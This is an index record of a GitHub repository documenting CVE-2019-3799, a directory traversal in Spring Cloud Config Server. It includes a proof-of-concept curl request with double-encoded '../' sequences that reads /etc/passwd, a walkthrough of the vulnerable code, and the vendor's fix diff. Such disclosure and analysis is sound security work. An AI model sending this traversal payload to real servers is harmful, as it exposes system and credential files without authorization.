{"id":18265897,"url":"https://github.com/mpgn/cve-2019-3799","last_synced_at":"2025-04-09T01:45:59.687Z","repository":{"id":76017608,"uuid":"181969843","full_name":"mpgn/CVE-2019-3799","owner":"mpgn","description":"CVE-2019-3799 - Spring Cloud Config Server: Directory Traversal \u003c 2.1.2, 2.0.4, 1.4.6","archived":false,"fork":false,"pushed_at":"2019-04-18T10:08:12.000Z","size":46,"stargazers_count":31,"open_issues_count":0,"forks_count":5,"subscribers_count":3,"default_branch":"master","last_synced_at":"2025-02-14T20:32:05.468Z","etag":null,"topics":["spring-cloud-config"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/mpgn.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2019-04-17T21:19:32.000Z","updated_at":"2024-08-12T19:48:00.000Z","dependencies_parsed_at":null,"dependency_job_id":"41f40d84-c188-4b59-b732-a4d7f973527c","html_url":"https://github.com/mpgn/CVE-2019-3799","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2019-3799","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2019-3799/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2019-3799/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2019-3799/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/mpgn","download_url":"https://codeload.github.com/mpgn/CVE-2019-3799/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247958708,"owners_count":21024827,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["spring-cloud-config"],"created_at":"2024-11-05T11:20:32.835Z","updated_at":"2025-04-09T01:45:59.680Z","avatar_url":"https://github.com/mpgn.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# CVE-2019-3799 - Spring-Cloud-Config-Server Directory Traversal \u003c 2.1.2, 2.0.4, 1.4.6  \n\nSpring Cloud Config Server is vulnerable to a directory Traversal / Path traversal / File Content Disclosure \u003c 2.1.2, 2.0.4, 1.4.6 \n\n\u003e Spring Cloud Config, versions 2.1.x prior to 2.1.2, versions 2.0.x prior to 2.0.4, and versions 1.4.x prior to 1.4.6, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead a directory traversal attack.\n\n![capture d'écran_1](https://user-images.githubusercontent.com/5891788/56310993-59e3fb00-614d-11e9-8a25-df8260d21a37.png)\n\nFound by Vern (vern@qq.com)\n\n**Security Advisory**\n- https://pivotal.io/security/cve-2019-3799\n- https://spring.io/blog/2019/04/17/cve-2019-3799-spring-cloud-config-2-1-2-2-0-4-1-4-6-released\n\n**Technical Anlysis**\n- https://chybeta.github.io/2019/04/18/%E3%80%90CVE-2019-3799%E3%80%91-Directory-Traversal-with-spring-cloud-config-server/\n\n---\n\n### Proof Of Concept\n\n1. Download a vulnerable version of Spring Cloud Config https://github.com/spring-cloud/spring-cloud-config\n2. Run the application\n```\ncd spring-cloud-config-server                                                                                                                                                                     \n../mvnw spring-boot:run\n```\n3. Exploit\n```\ncurl http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd                                                                                                    \n\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n```\n\n### The vulnerability\n\nAs always, by reading the documentation we can find the relevant information:\n\nServing plain text file: https://cloud.spring.io/spring-cloud-static/spring-cloud-config/1.3.1.RELEASE/#_serving_plain_text\n\n\u003e The Config Server provides these through an additional endpoint at /{name}/{profile}/{label}/{path} where \"name\", \"profile\" and \"label\" have the same meaning as the regular environment endpoint, but \"path\" is a file name (e.g. log.xml).\n\n\u003e Server provides these through an additional endpoint at /{name}/{profile}/{label}/{path} \n\nAnother intersting information form the doc:\n\n\u003e With VCS based backends (git, svn) files are checked out or cloned to the local filesystem. By default they are put in the system temporary directory with a prefix of config-repo-. On linux, for example it could be /tmp/config-repo-\u003crandomid\u003e\n  \nWhat append when we send `http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd `\n\n1. The request is mapped with \n\nhttps://github.com/spring-cloud/spring-cloud-config/blob/3c0348ca624f9f3b370797799a3608840fed2d8b/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/ResourceController.java#L71\n\n```java\n@RequestMapping(\"/{name}/{profile}/{label}/**\")\npublic String retrieve(@PathVariable String name, @PathVariable String profile,\n    @PathVariable String label, ServletWebRequest request,\n    @RequestParam(defaultValue = \"true\") boolean resolvePlaceholders)\n    throws IOException {\n  String path = getFilePath(request, name, profile, label);\n  return retrieve(request, name, profile, label, path, resolvePlaceholders);\n}\n```\n\n2. The function `retrieve` call the function `findOne` \n\nhttps://github.com/spring-cloud/spring-cloud-config/blob/3c0348ca624f9f3b370797799a3608840fed2d8b/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/ResourceController.java#L103\n\n```java\nsynchronized String retrieve(ServletWebRequest request, String name, String profile,\n    String label, String path, boolean resolvePlaceholders) throws IOException {\n  name = resolveName(name);\n  label = resolveLabel(label);\n  Resource resource = this.resourceRepository.findOne(name, profile, label, path); // path: ..%2f..%2f..%2f..%2f..%2f../etc/passwd\n  if (checkNotModified(request, resource)) {\n    // Content was not modified. Just return.\n    return null;\n  }\n  // ensure InputStream will be closed to prevent file locks on Windows\n  try (InputStream is = resource.getInputStream()) {\n    String text = StreamUtils.copyToString(is, Charset.forName(\"UTF-8\"));\n    if (resolvePlaceholders) {\n      Environment environment = this.environmentRepository.findOne(name,\n          profile, label);\n      text = resolvePlaceholders(prepareEnvironment(environment), text);\n    }\n    return text;\n  }\n}\n```\n\n3. The function `findOne` is called:\n\n```java\npublic synchronized Resource findOne(String application, String profile, String label, String path) {\n  if (StringUtils.hasText(path)) {\n    String[] locations = this.service.getLocations(application, profile, label).getLocations(); // /tmp/config-repo-\u003crandomid\u003e\n    try {\n      for (int i = locations.length; i-- \u003e 0; ) {\n        String location = locations[i]; // [1]..%2f..%2f..%2f..%2f..%2f../etc/passwd\n        for (String local : getProfilePaths(profile, path)) {\n            Resource file = this.resourceLoader.getResource(location).createRelative(local); // /tmp/config-repo-\u003crandomid\u003e/..%2f..%2f..%2f..%2f..%2f../etc/passwd\n            if (file.exists() \u0026\u0026 file.isReadable()) {\n                return file; // /tmp/config-repo-\u003crandomid\u003e/..%2f..%2f..%2f..%2f..%2f../etc/passwd\n            }\n          }\n        }\n      }\n    }\n    catch (IOException e) {\n        throw new NoSuchResourceException(\n                \"Error : \" + path + \". (\" + e.getMessage() + \")\");\n    }\n  }\n  throw new NoSuchResourceException(\"Not found: \" + path);\n}\n```\n\n4. Then the function `retrieve` read the file with `StreamUtils.copyToString(is, Charset.forName(\"UTF-8\")` that convert `/tmp/config-repo-\u003crandomid\u003e/..%2f..%2f..%2f..%2f..%2f../etc/passwd` to `/etc/passwd` resulting to the disclosure of the file `/etc/passwd`\n\n![capture d'écran_4](https://user-images.githubusercontent.com/5891788/56353588-f64fe100-61d1-11e9-8df5-0385c3cb34ff.png)\n\n---\n\nFix: https://github.com/spring-cloud/spring-cloud-config/commit/3632fc6f64e567286c42c5a2f1b8142bfde505c2\n\n![capture d'écran](https://user-images.githubusercontent.com/5891788/56342912-94837d00-61b9-11e9-97c9-4adfbcfbf2ee.png)\n\n```diff\nFrom 3632fc6f64e567286c42c5a2f1b8142bfde505c2 Mon Sep 17 00:00:00 2001\nFrom: Spencer Gibb \u003cspencer@gibb.us\u003e\nDate: Tue, 2 Apr 2019 14:16:10 -0400\nSubject: [PATCH] Cleans invalid paths\n\nfixes gh-1355\n---\n .../resource/GenericResourceRepository.java   | 165 ++++++++++++++++--\n .../GenericResourceRepositoryTests.java       |  18 ++\n 2 files changed, 170 insertions(+), 13 deletions(-)\n\ndiff --git a/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/GenericResourceRepository.java b/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/GenericResourceRepository.java\nindex 1d7b9d117..0f3a071cb 100644\n--- a/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/GenericResourceRepository.java\n+++ b/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/GenericResourceRepository.java\n@@ -17,14 +17,20 @@\n package org.springframework.cloud.config.server.resource;\n \n import java.io.IOException;\n+import java.io.UnsupportedEncodingException;\n+import java.net.URLDecoder;\n import java.util.Collection;\n import java.util.LinkedHashSet;\n import java.util.Set;\n \n+import org.apache.commons.logging.Log;\n+import org.apache.commons.logging.LogFactory;\n+\n import org.springframework.cloud.config.server.environment.SearchPathLocator;\n import org.springframework.context.ResourceLoaderAware;\n import org.springframework.core.io.Resource;\n import org.springframework.core.io.ResourceLoader;\n+import org.springframework.util.ResourceUtils;\n import org.springframework.util.StringUtils;\n \n /**\n@@ -35,6 +41,8 @@\n public class GenericResourceRepository\n \t\timplements ResourceRepository, ResourceLoaderAware {\n \n+\tprivate static final Log logger = LogFactory.getLog(GenericResourceRepository.class);\n+\n \tprivate ResourceLoader resourceLoader;\n \n \tprivate SearchPathLocator service;\n@@ -51,22 +59,28 @@ public void setResourceLoader(ResourceLoader resourceLoader) {\n \t@Override\n \tpublic synchronized Resource findOne(String application, String profile, String label,\n \t\t\tString path) {\n-\t\tString[] locations = this.service.getLocations(application, profile, label).getLocations();\n-\t\ttry {\n-\t\t\tfor (int i = locations.length; i-- \u003e 0;) {\n-\t\t\t\tString location = locations[i];\n-\t\t\t\tfor (String local : getProfilePaths(profile, path)) {\n-\t\t\t\t\tResource file = this.resourceLoader.getResource(location)\n-\t\t\t\t\t\t\t.createRelative(local);\n-\t\t\t\t\tif (file.exists() \u0026\u0026 file.isReadable()) {\n-\t\t\t\t\t\treturn file;\n+\n+\t\tif (StringUtils.hasText(path)) {\n+\t\t\tString[] locations = this.service.getLocations(application, profile, label)\n+\t\t\t\t\t.getLocations();\n+\t\t\ttry {\n+\t\t\t\tfor (int i = locations.length; i-- \u003e 0; ) {\n+\t\t\t\t\tString location = locations[i];\n+\t\t\t\t\tfor (String local : getProfilePaths(profile, path)) {\n+\t\t\t\t\t\tif (!isInvalidPath(local) \u0026\u0026 !isInvalidEncodedPath(local)) {\n+\t\t\t\t\t\t\tResource file = this.resourceLoader.getResource(location)\n+\t\t\t\t\t\t\t\t\t.createRelative(local);\n+\t\t\t\t\t\t\tif (file.exists() \u0026\u0026 file.isReadable()) {\n+\t\t\t\t\t\t\t\treturn file;\n+\t\t\t\t\t\t\t}\n+\t\t\t\t\t\t}\n \t\t\t\t\t}\n \t\t\t\t}\n \t\t\t}\n-\t\t}\n-\t\tcatch (IOException e) {\n-\t\t\tthrow new NoSuchResourceException(\n-\t\t\t\t\t\"Error : \" + path + \". (\" + e.getMessage() + \")\");\n+\t\t\tcatch (IOException e) {\n+\t\t\t\tthrow new NoSuchResourceException(\n+\t\t\t\t\t\t\"Error : \" + path + \". (\" + e.getMessage() + \")\");\n+\t\t\t}\n \t\t}\n \t\tthrow new NoSuchResourceException(\"Not found: \" + path);\n \t}\n@@ -94,4 +108,129 @@ public synchronized Resource findOne(String application, String profile, String\n \t\treturn paths;\n \t}\n \n+\t/**\n+\t * Check whether the given path contains invalid escape sequences.\n+\t * @param path the path to validate\n+\t * @return {@code true} if the path is invalid, {@code false} otherwise\n+\t */\n+\tprivate boolean isInvalidEncodedPath(String path) {\n+\t\tif (path.contains(\"%\")) {\n+\t\t\ttry {\n+\t\t\t\t// Use URLDecoder (vs UriUtils) to preserve potentially decoded UTF-8 chars\n+\t\t\t\tString decodedPath = URLDecoder.decode(path, \"UTF-8\");\n+\t\t\t\tif (isInvalidPath(decodedPath)) {\n+\t\t\t\t\treturn true;\n+\t\t\t\t}\n+\t\t\t\tdecodedPath = processPath(decodedPath);\n+\t\t\t\tif (isInvalidPath(decodedPath)) {\n+\t\t\t\t\treturn true;\n+\t\t\t\t}\n+\t\t\t}\n+\t\t\tcatch (IllegalArgumentException | UnsupportedEncodingException ex) {\n+\t\t\t\t// Should never happen...\n+\t\t\t}\n+\t\t}\n+\t\treturn false;\n+\t}\n+\n+\t/**\n+\t * Process the given resource path.\n+\t * \u003cp\u003eThe default implementation replaces:\n+\t * \u003cul\u003e\n+\t * \u003cli\u003eBackslash with forward slash.\n+\t * \u003cli\u003eDuplicate occurrences of slash with a single slash.\n+\t * \u003cli\u003eAny combination of leading slash and control characters (00-1F and 7F)\n+\t * with a single \"/\" or \"\". For example {@code \"  / // foo/bar\"}\n+\t * becomes {@code \"/foo/bar\"}.\n+\t * \u003c/ul\u003e\n+\t * @since 3.2.12\n+\t */\n+\tprotected String processPath(String path) {\n+\t\tpath = StringUtils.replace(path, \"\\\\\", \"/\");\n+\t\tpath = cleanDuplicateSlashes(path);\n+\t\treturn cleanLeadingSlash(path);\n+\t}\n+\n+\n+\tprivate String cleanDuplicateSlashes(String path) {\n+\t\tStringBuilder sb = null;\n+\t\tchar prev = 0;\n+\t\tfor (int i = 0; i \u003c path.length(); i++) {\n+\t\t\tchar curr = path.charAt(i);\n+\t\t\ttry {\n+\t\t\t\tif ((curr == '/') \u0026\u0026 (prev == '/')) {\n+\t\t\t\t\tif (sb == null) {\n+\t\t\t\t\t\tsb = new StringBuilder(path.substring(0, i));\n+\t\t\t\t\t}\n+\t\t\t\t\tcontinue;\n+\t\t\t\t}\n+\t\t\t\tif (sb != null) {\n+\t\t\t\t\tsb.append(path.charAt(i));\n+\t\t\t\t}\n+\t\t\t}\n+\t\t\tfinally {\n+\t\t\t\tprev = curr;\n+\t\t\t}\n+\t\t}\n+\t\treturn sb != null ? sb.toString() : path;\n+\t}\n+\n+\n+\tprivate String cleanLeadingSlash(String path) {\n+\t\tboolean slash = false;\n+\t\tfor (int i = 0; i \u003c path.length(); i++) {\n+\t\t\tif (path.charAt(i) == '/') {\n+\t\t\t\tslash = true;\n+\t\t\t}\n+\t\t\telse if (path.charAt(i) \u003e ' ' \u0026\u0026 path.charAt(i) != 127) {\n+\t\t\t\tif (i == 0 || (i == 1 \u0026\u0026 slash)) {\n+\t\t\t\t\treturn path;\n+\t\t\t\t}\n+\t\t\t\treturn (slash ? \"/\" + path.substring(i) : path.substring(i));\n+\t\t\t}\n+\t\t}\n+\t\treturn (slash ? \"/\" : \"\");\n+\t}\n+\n+\n+\t/**\n+\t * Identifies invalid resource paths. By default rejects:\n+\t * \u003cul\u003e\n+\t * \u003cli\u003ePaths that contain \"WEB-INF\" or \"META-INF\"\n+\t * \u003cli\u003ePaths that contain \"../\" after a call to\n+\t * {@link org.springframework.util.StringUtils#cleanPath}.\n+\t * \u003cli\u003ePaths that represent a {@link org.springframework.util.ResourceUtils#isUrl\n+\t * valid URL} or would represent one after the leading slash is removed.\n+\t * \u003c/ul\u003e\n+\t * \u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e this method assumes that leading, duplicate '/'\n+\t * or control characters (e.g. white space) have been trimmed so that the\n+\t * path starts predictably with a single '/' or does not have one.\n+\t * @param path the path to validate\n+\t * @return {@code true} if the path is invalid, {@code false} otherwise\n+\t * @since 3.0.6\n+\t */\n+\tprotected boolean isInvalidPath(String path) {\n+\t\tif (path.contains(\"WEB-INF\") || path.contains(\"META-INF\")) {\n+\t\t\tif (logger.isWarnEnabled()) {\n+\t\t\t\tlogger.warn(\"Path with \\\"WEB-INF\\\" or \\\"META-INF\\\": [\" + path + \"]\");\n+\t\t\t}\n+\t\t\treturn true;\n+\t\t}\n+\t\tif (path.contains(\":/\")) {\n+\t\t\tString relativePath = (path.charAt(0) == '/' ? path.substring(1) : path);\n+\t\t\tif (ResourceUtils.isUrl(relativePath) || relativePath.startsWith(\"url:\")) {\n+\t\t\t\tif (logger.isWarnEnabled()) {\n+\t\t\t\t\tlogger.warn(\"Path represents URL or has \\\"url:\\\" prefix: [\" + path + \"]\");\n+\t\t\t\t}\n+\t\t\t\treturn true;\n+\t\t\t}\n+\t\t}\n+\t\tif (path.contains(\"..\") \u0026\u0026 StringUtils.cleanPath(path).contains(\"../\")) {\n+\t\t\tif (logger.isWarnEnabled()) {\n+\t\t\t\tlogger.warn(\"Path contains \\\"../\\\" after call to StringUtils#cleanPath: [\" + path + \"]\");\n+\t\t\t}\n+\t\t\treturn true;\n+\t\t}\n+\t\treturn false;\n+\t}\n }\ndiff --git a/spring-cloud-config-server/src/test/java/org/springframework/cloud/config/server/resource/GenericResourceRepositoryTests.java b/spring-cloud-config-server/src/test/java/org/springframework/cloud/config/server/resource/GenericResourceRepositoryTests.java\nindex 7262a4ce4..1db865aee 100644\n--- a/spring-cloud-config-server/src/test/java/org/springframework/cloud/config/server/resource/GenericResourceRepositoryTests.java\n+++ b/spring-cloud-config-server/src/test/java/org/springframework/cloud/config/server/resource/GenericResourceRepositoryTests.java\n@@ -18,15 +18,19 @@\n \n import org.junit.After;\n import org.junit.Before;\n+import org.junit.Rule;\n import org.junit.Test;\n+import org.junit.rules.ExpectedException;\n \n import org.springframework.boot.WebApplicationType;\n import org.springframework.boot.builder.SpringApplicationBuilder;\n+import org.springframework.boot.test.rule.OutputCapture;\n import org.springframework.cloud.config.server.environment.NativeEnvironmentProperties;\n import org.springframework.cloud.config.server.environment.NativeEnvironmentRepository;\n import org.springframework.cloud.config.server.environment.NativeEnvironmentRepositoryTests;\n import org.springframework.context.ConfigurableApplicationContext;\n \n+import static org.hamcrest.Matchers.containsString;\n import static org.junit.Assert.assertNotNull;\n \n /**\n@@ -35,6 +39,12 @@\n  */\n public class GenericResourceRepositoryTests {\n \n+\t@Rule\n+\tpublic OutputCapture output = new OutputCapture();\n+\n+\t@Rule\n+\tpublic ExpectedException exception = ExpectedException.none();\n+\n \tprivate GenericResourceRepository repository;\n \tprivate ConfigurableApplicationContext context;\n \tprivate NativeEnvironmentRepository nativeRepository;\n@@ -79,4 +89,12 @@ public void locateMissingResource() {\n \t\tassertNotNull(this.repository.findOne(\"blah\", \"default\", \"master\", \"foo.txt\"));\n \t}\n \n+\t@Test\n+\tpublic void invalidPath() {\n+\t\tthis.exception.expect(NoSuchResourceException.class);\n+\t\tthis.nativeRepository.setSearchLocations(\"file:./src/test/resources/test/{profile}\");\n+\t\tthis.repository.findOne(\"blah\", \"local\", \"master\", \"..%2F..%2Fdata-jdbc.sql\");\n+\t\tthis.output.expect(containsString(\"Path contains \\\"../\\\" after call to StringUtils#cleanPath\"));\n+\t}\n+\n }\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmpgn%2Fcve-2019-3799","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmpgn%2Fcve-2019-3799","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmpgn%2Fcve-2019-3799/lists"}